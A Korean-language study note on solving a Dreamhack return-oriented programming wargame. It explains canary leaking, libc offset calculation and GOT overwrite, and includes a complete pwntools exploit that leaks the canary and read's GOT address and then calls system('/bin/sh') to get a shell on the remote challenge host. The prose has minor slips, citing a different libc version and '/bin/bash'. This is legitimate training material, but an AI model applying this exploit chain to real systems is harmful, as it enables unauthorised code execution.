프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터
system
함수의 오프셋을 이용하여 함수의 주소를 계산
리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법
ROP 페이로드는 리턴 가젯으로 구성되는데,ret
단위로 여러 코드가 연쇄적으로 실행된다.
ASLR, 카나리, NX가 적용되어 있다.
이번 C 코드에는 system 함수를 호출하지 않고, /bin/sh 문자열도 기록되지 않는다.
system
함수는 libc.so.6에 정의되어 있다. (read
,puts
,printf
등등)바이너리가
system
함수를 호출하지 않으므로 GOT에 등록되지 않지만,
read
,puts
,printf
는 GOT에 등록되어 있다.
main
함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로,
이들의 GOT를 읽어올 수 있으면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.같은 libc 안에서 두 데이터 사이의 거리(Offset)는 항상 같다.
→ 다른 데이터의 주소를 모두 계산할 수 있다.
Ubuntu GLIBC 2.27-3ubuntu1.2 에서read
함수와system
함수 사이의 거리는 항상0xc0ca0
read
의 주소를 알면,system
함수의 주소도 구할 수 있다.
libc.so.6에 /bin/sh가 포함되어 있다.
이 실습에서는 ROP로 버퍼에 “/bin/sh”를 입력하고, 이를 참조한다.
system 함수와 “/bin/sh” 문자열의 주소를 알고 있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있다.
그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. → ret2main
이 코스에서는 GOT Overwrite 기법을 통해 한 번에 셸을 획득한다.
dummy=b'A'*0x39 p.sendafter("Buf: ", dummy) p.recvuntil(dummy) canary=u64(b"\x00"+p.recvn(7))
libc=ELF("/lib/x86_64-linux-gnu/libc-2.31.so") read2system=libc.symbols['read']-libc.symbols['system'] systemadr=e.plt['read']+read2system
이 실습에서는 ROP로 버퍼에 “/bin/sh”를 입력하고, 이를 참조한다.
"/bin/sh" 는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 된다. (
read
함수 이용)
read
함수에는 총 3개의 인자가 필요하다. (입력 스트림, 입력 버퍼, 입력 길이)
→rdi
,rsi
,rdx
rdi, rsi는 바이너리에서 가젯을 쉽게 찾을 수 있지만, rdx는 바이너리에서 찾기 어렵다.
→ libc의 코드 가젯이나, libc_csu_init 가젯을 사용한다.이 예제에서는
read
함수의 GOT를 읽어온 후 rdx 값이 매우 커지므로 굳이 가젯이 필요없다.
read
함수,pop rdi ; ret, pop rsi ; pop r15 ; ret
가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 “/bin/sh”문자열을 쓰는 익스플로잇
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 9826)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# [1] Leak canary # 카나리 획득
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read'] # read 함수 plt 주소
read_got = e.got['read'] # read 함수 got 주소
puts_plt = e.plt['puts'] # puts 함수 plt 주소
pop_rdi = 0x0000000000401303 # pop rdi 리턴 가젯
pop_rsi_r15 = 0x0000000000401301 # pop rsi ; pop r15 리턴 가젯
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8 # payload 구성 (버퍼+카나리+SFP)
# puts(read_got) # puts & 가젯을 이용한 read함수의 GOT 가져오기
payload += p64(pop_rdi) + p64(read_got) # → system 함수의 주소 구하기
payload += p64(puts_plt) # 가젯+인자+함수
# read(0, read_got, 0x10) # read의 GOT를 system 함수의 주소로 덮기
payload += p64(pop_rdi) + p64(0) # 가젯+인자
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 가젯+인자+인자(r15는 필요없어서 그냥 0)
payload += p64(read_plt) # 함수
# read("/bin/sh") == system("/bin/sh") # system("/bin/sh")
payload += p64(pop_rdi) # 가젯
payload += p64(read_got+0x8) # 인자(
payload += p64(read_plt) # 함수
p.sendafter("Buf: ", payload) # 버퍼 전송
read = u64(p.recvn(6)+b"\x00"*2) # puts의 내용 받아오기(read got주소)
lb = read - libc.symbols["read"] # offset
system = lb + libc.symbols["system"] # system 주소 구하기(offset이용)
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00") # read 함수에 내용 전달(system함수 주소, /bin/sh)
p.interactive()
puts 함수를 이용해 read
함수의 GOT를 알아온다. (p.recvn()
이용) → read 변수에 저장
read 함수로 system
함수의 주소를 입력받아 read
함수의 GOT 주소에 넣는다.
→ 이러면 read 함수를 호출하면 read plt → read got가 아닌 system 함수 주소로 연결된다.
→ system
함수의 주소는 아래쪽에서 계산한다.
read인척 하는(?) system 함수를 호출한다. 내용은 "/bin/bash"
→ system("/bin/bash"), 셸 획득 함수
payload 작성 부분에서 순서가 많이 헷갈렸던 것 같다.
단순히 작성하는 것 뿐인데 나는 왜 실행하는 도중인 줄 알았던 걸까..